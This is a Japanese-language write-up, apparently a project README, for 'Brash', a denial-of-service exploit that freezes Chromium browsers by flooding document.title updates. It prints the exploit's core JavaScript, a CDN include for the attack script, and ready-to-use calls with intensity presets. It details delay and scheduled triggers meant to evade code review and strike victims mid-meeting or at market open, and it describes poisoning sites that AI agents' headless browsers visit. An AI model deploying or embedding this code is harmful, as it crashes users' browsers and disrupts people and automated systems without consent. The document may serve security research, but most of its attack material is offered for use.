
document.titleを悪用したChromiumブラウザのDoS攻撃

Brash は、Google の Chromium ベースのブラウザを支えるレンダリングエンジン Blink における重大な脆弱性です。特定の DOM 操作が管理される方法におけるアーキテクチャ上の欠陥を悪用することで、あらゆる Chromium ブラウザを 15〜60 秒で崩壊させることができます。
攻撃ベクトルは、document.title API の更新に対するレート制限が完全に存在しないことに起因します。これにより、毎秒数百万回の DOM ミューテーションを注入することが可能になり、この注入試行中にメインスレッドを飽和させ、イベントループを乱してインターフェースを崩壊させます。影響は重大で、高い CPU リソースを消費し、システム全体のパフォーマンスを低下させ、同時に実行されている他のプロセスを停止または低速化させる可能性があります。デスクトップ、Android、組み込み環境の Chromium ブラウザに影響を与えることで、この脆弱性はインターネット上の30 億人以上の人々をシステムレベルのサービス拒否にさらします。
ステータス: 動作中
影響を受けるバージョン: Chromium ≤ 143.0.7483.0 (テスト済み: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] このエクスプロイトは現在動作しています。脆弱性がパッチされると、このコードは機能しなくなります。いずれにせよ、このアーキテクチャ上の欠陥を発見し、調査、ドキュメント化、設計の全プロセスを完了して、世界と共有できるインパクトのあるものを生み出せたことは、この上なくやりがいのある旅でした。
脆弱性の影響を検証するために、macOS、Windows、Linux で 11 の主要ブラウザがテストされました。
この欠陥は Blink レンダリングエンジンの核に存在するため、すべての Chromium ベースのブラウザが脆弱です:
Brash は、Blink レンダリングエンジンにおける根本的なアーキテクチャ上の欠陥、すなわち document.title 更新に対するスロットリングの欠如を悪用します。攻撃は 3 つの重要なフェーズで動作します:
512 文字の一意な 16 進文字列を 100 個生成し、攻撃開始前にメモリに保存します。
なぜリアルタイムで生成するのではなく事前にロードするのか?
新しい文字列を常時生成すると、数学的演算に CPU 時間を消費するからです。その時間は重要です。文字列の生成に費やす毎ミリ秒は、document.title の更新でブラウザを攻撃するために使われない時間なのです。
100 個の文字列をメモリにロードしておくことで:
その結果、更新あたりのメモリ消費を最大化しながら、最大の注入速度を達成します。
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
設定可能なタイトル更新のバーストを実行します。デフォルト設定 (burst: 8000、interval: 1ms) では、毎秒約 2400 万回の更新を注入しようと試み、この試行中にブラウザの崩壊が始まります。
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
継続的な更新によりブラウザのメインスレッドが飽和し、他のイベントの処理が妨げられます:
崩壊のタイムライン:
なぜ機能するのか?
Blink は各 document.title の変更をレート制限なしにメインスレッドで同期的に処理します。これによりボトルネックが生じ、以下を引き起こします:
Brash の影響を完全に理解するには、管理されたライブデモから独自の実装まで、さまざまなコンテキストでエクスプロイトを体験できます。各オプションは、異なるレベルの対話性と技術的理解のために設計されています。
Brash の動作を確認する最速の方法です。https://brash.run にアクセスしてください。
グラフィカルインターフェースなしでエクスプロイトを確認するには、https://brash.run/hidden-live-demo.html にアクセスしてください。このバージョンは注入を不可視で実行し、実際の攻撃をシミュレートします。
自分の環境でデモを実行したい場合は、リポジトリに含まれる exploit-demo/ ディレクトリで以下が可能です:
任意の Chromium ブラウザで exploit-demo/index.html を開き、開始前に burst と interval の値を設定するだけです。
Brash を独自のセキュリティテストや研究に統合するには、スクリプトを含めて攻撃を設定します:
スクリプトを含める:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
API の使用方法:
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
強度設定:
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});
// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 updates/sec
});
// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({
burstSize: 8000,
interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});
注記: 各バーストは 3 回の連続した
document.title更新を実行します。たとえば、burstSize: 400 = インターバルあたり 1,200 回の実際の更新になります。
Brash は、経済的損失から人命のリスクに至るまでの結果を伴う、複数の重大なコンテキストで兵器化される可能性があります。
Brash の危険性を増幅する重要な特徴は、特定の瞬間に実行されるようにプログラムできることです。攻撃者は時間的トリガー付きでコードを注入し、あらかじめ決められた正確な時刻まで潜伏させることができます。
技術的実装:
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
パラメータ:
burstSize: サイクルあたりの更新数interval: サイクル間のミリ秒delay: 数値 (秒) または文字列 ("30s", "5000ms", "3m")scheduled: ISO 文字列または Date オブジェクトなぜ delay パラメータは特に致命的なのか:
リンクを開くタイミングを知る必要がない: 被害者がページを開いてから X 秒待機するだけです。
信頼を確立する時間: 待機中の数分間に、被害者は一見正当なコンテンツ (フォーム、ドキュメント、動画) と対話します。
初期検査を回避: 誰かがコードを素早く確認しても、非アクティブに見えます。攻撃は後になるまで実行されません。
完璧な心理的タイミング: 被害者がタスクに深く関与するまで待機します (試験の最中、会議の最中、重要な手順の最中)。
delay を使用した典型的なシナリオ:
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse
なぜ scheduled パラメータも壊滅的なのか:
外科的同期: 攻撃者は最大の影響の瞬間 (市場の開場、運用のピーク時) を正確に選択します。
グローバルな連携攻撃: 複数のターゲットを同じ秒に同時に攻撃できます。
事前検出の回避: 悪意のあるコードは、実行せずに数日または数週間前から存在し、セキュリティレビューを通過できます。
阻止が不可能: 攻撃が実行される頃には、防ぐには遅すぎます。
戦略的タイミングの例:
この運動学的タイミング機能により、Brash は混乱ツールから時間的精密兵器へと変貌します。攻撃者は「何を」「どこで」だけでなく、「いつ」 もミリ秒単位の精度で制御できるのです。
シナリオ: Web スクレイピング、市場分析、競合他社の監視、顧客サポートの自動化に AI エージェントを依存するエンタープライズシステムは、ヘッドレスブラウザ (Chromium/Puppeteer) を使用して毎日何千ものウェブサイトを照会します。攻撃者はこれらのエージェントが照会する人気サイトに Brash を注入します。
重要な自動化運用中に: